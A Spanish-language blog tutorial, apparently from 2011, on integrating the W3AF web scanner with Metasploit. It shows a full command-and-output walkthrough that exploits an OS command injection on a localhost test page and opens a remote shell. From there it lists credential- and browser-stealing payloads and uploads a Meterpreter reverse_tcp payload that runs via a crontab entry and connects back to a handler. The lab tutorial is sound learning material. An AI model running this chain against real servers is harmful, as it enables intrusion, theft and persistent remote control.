Se trata de un tópico que, en otras herramientas es bastante sencillo de conseguir, por ejemplo: Nikto, BeEF, Armitage, Nessus, etc. Dado que en las herramientas anteriores es frecuente utilizar el servicio de XMLRPC de metasploit, sin embargo W3AF va un poco mas allá, ya que no se limita simplemente a enviar los resultados de un escaneo a MetaSploit para que este los almacene en la base de datos de vulnerabilidades, con W3AF el enfoque es distinto y consiste en escanear un objetivo, encontrar vulnerabilidades en el mismo, explotarlas, obtener una shell y posteriormente redirigir la conexión obtenida y enviarla al una instancia de MetaSploit. Si por ejemplo se emplea el payload correspondiente a Meterpreter, se iniciará una sesión Meterpreter con acceso a las potencialidades que trae consigo metasploit, así que de esta forma las vulnerabilidades de una aplicación Web las estaremos llevando al dominio de MetaSploit Framework.

Dificultades encontradas

El procedimiento que a continuación se detallará no se encuentra documentado en ningún sitio a la fecha de la redacción de esta entrada, dado que la documentación oficial de W3AF no se encuentra actualizada en el tópico correspondiente a la integración con MetaSploit FrameWork, ademas la información que se encuentra en Internet trata poco sobre este tema, incluso en la mayoría de casos aconsejan el uso de la utilidad msfweb de MetaSploit, cuando esta ya no existe en versiones 3.5 o superiores.

Para poder superar estas dificultades he contactado con su creador (Andres Riancho) y he podido concluir esta entrada e investigar la forma en que es posible integrar estos dos frameworks.

Mecanismo de Integración de W3AF y MetaSploit FrameWork.

El mecanismo de integración entre W3AF y MetaSploit FrameWork, funciona ahora de un modo un poco diferente a las versiones anteriores de W3AF y MetaSploit Framework, dado que actualmente, W3AF contiene una serie de payloads que se encuentran ubicados en los plugins de ataque del FrameWork, de este modo cuando se ha conseguido explotar una vulnerabilidad de forma exitosa y se ha conseguido una shell remota, es posible utilizar comandos como lsp para listar los payloads disponibles y payload para redirigir la sesión obtenida. Por otro lado es necesario tener instalada la librería PHPLY que es obligatoria para la correcta carga de los payloads y su ejecución. Dada esta corta introducción de la forma en la que se puede integrar MetaSploit y W3AF, se procede a listar los pasos necesarios para conseguir el objetivo de la integración de ambos frameworks.

Ejecutar los siguientes pasos para capturar una consola y posteriormente ejecutar un payload:

./w3af_console

w3af>>> target set target http://localhost/w3af/audit/os_commanding/simple_osc.php?cmd=ls

w3af>>> plugins audit osCommanding

w3af>>> misc-settings set msf_location /opt/metasploit3/msf3/

w3af>>> start

Found 1 URLs and 1 different points of injection.

The list of URLs is:

http://localhost/w3af/audit/os_commanding/simple_osc.php

The list of fuzzable requests is:

http://localhost/w3af/audit/os_commanding/simple_osc.php | Method: GET | Parameters: (cmd=»ls»)

OS Commanding was found at: «http://localhost/w3af/audit/os_commanding/simple_osc.php», using HTTP method GET. The sent data was: «cmd=ping+-c+9+localhost». This vulnerability was found in the request with id 18.

Scan finished in 11 seconds.

w3af>>> exploit exploit osCommandingShell

osCommandingShell exploit plugin is starting.

Exception RuntimeError: ‘maximum recursion depth exceeded while calling a Python object’ in <type ‘exceptions.AttributeError’> ignored

The vulnerability was found using method GET, tried to change the method to POST for exploiting but failed.

Vulnerability successfully exploited. This is a list of available shells and proxies:

– [0] <osCommandingShell object (ruser: «adastra» | rsystem: «Linux adastra-VPCEB3C5E 2.6.35-28-generic x86_64 GNU/Linux»)>

Please use the interact command to interact with the shell objects.

w3af>>> exploit interact 0

Execute «exit» to get out of the remote shell. Commands typed in this menu will be runned through the osCommandingShell shell

w3af/exploit/osCommandingShell-0>>> lsp

apache_config_directory

apache_config_files

apache_htaccess

apache_modsecurity

apache_root_directory

apache_run_group

apache_run_user

apache_ssl

apache_version

arp_cache

cpu_info

current_user

dhcp_config_files

dns_config_files

domainname

filesystem

firefox_stealer

ftp_config_files

gcc_version

get_hashes

get_source_code

hostname

hosts

iis_root_directory

interesting_files

is_root

kerberos_config_files

kernel_version

ldap_config_files

list_kernel_modules

list_processes

log_reader

mail_config_files

metasploit

msf_linux_x86_meterpreter_reverse

msf_windows_meterpreter_reverse_tcp

msf_windows_vncinject_reverse

mysql_config

mysql_config_directory

netcat_installed

os_fingerprint

php_sca

pixy

read_mail

root_login_allowed

rootkit_hunter

route

running_honeypot

running_vm

smb_config_files

spider

ssh_config_files

ssh_version

svn_config_files

tcp

udp

uptime

users

users_config_files

w3af_agent

w3af/exploit/osCommandingShell-0>>> payload msf_linux_x86_meterpreter_reverse 192.168.1.33

Created by msfpayload (http://www.metasploit.com).

Payload: linux/x86/meterpreter/reverse_tcp

Length: 50

Options: {«LHOST»=>»192.168.1.33»}

Remember to setup your firewall to allow the reverse connection!

Wait while w3af uploads the payload to the remote server…

Please wait some seconds while w3af performs an extrusion scan.

ExtrusionServer listening on interface: eth0

Finished extrusion scan.

The extrusion test failed, no reverse connect transfer methods can be used. Trying inband echo transfer method.

Error: No inbound ports have been found. Maybe the extrusion scan failed ?

Finished payload upload to «/tmp/4YvSyZ»

Successfully transfered the MSF payload to the remote server.

Running a new terminal with the payload handler («/opt/metasploit3/msf3/msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.33 E»)

Crontab entry successfully added. Waiting for shellcode execution.

Successfully executed the MSF payload on the remote server.

Successfully started the virtual daemon.

Después de esto se ha abierto una consola con la siguiente información:

[*] Please wait while we load the module tree…

_ _

_ | | (_)_

____ ____| |_ ____ ___ ____ | | ___ _| |_

| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)

| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__

|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)

|_|

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]

+ — –=[ 684 exploits – 374 auxiliary

+ — –=[ 217 payloads – 27 encoders – 8 nops

=[ svn r12516 updated today (2011.05.02)

resource (/home/adastra/.msf3/msfconsole.rc)> db_driver postgresql

[*] Using database driver postgresql

resource (/home/adastra/.msf3/msfconsole.rc)> db_connect msf_user:peraspera@127.0.0.1:5432/msf_database

resource (/home/adastra/.msf3/msfconsole.rc)> db_workspace -a MyProject

[*] Added workspace: MyProject

PAYLOAD => linux/x86/meterpreter/reverse_tcp

LHOST => 192.168.1.33

[*] Started reverse handler on 192.168.1.33:4444

[*] Starting the payload handler…

[*] Transmitting intermediate stager for over-sized stage…(100 bytes)

[*] Sending stage (1363968 bytes) to 192.168.1.33

[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.33:37793) at Tue May 03 17:23:04 +0200 2011

meterpreter >

Como ha podido apreciarse, se ha iniciado una sesión meterpreter ejecutando una conexión reversa, de esta forma es posible utilizar todas las potencialidades que brinda MetaSploit.

NOTA: Aunque en la revisión 4177 se ha incluido el uso de la librería PHPLY de forma automática, de tal forma que no es necesario instalarla de modo independiente, en el caso de experimentar el error:

The osCommandingShell plugin failed to execute the user command, exception: No module named phply

Es necesario descargar e instalar manualmente dicha librería siguiendo estos pasos:

Descargar la librería PHPLY desde:

https://github.com/ramen/phply/tarball/master

Descomprimir e instalar la librería con el comando

python setup.py install

Después de esto, debería ser mas que suficiente para integrar consolas W3AF con payloads de MetaSploit Framework.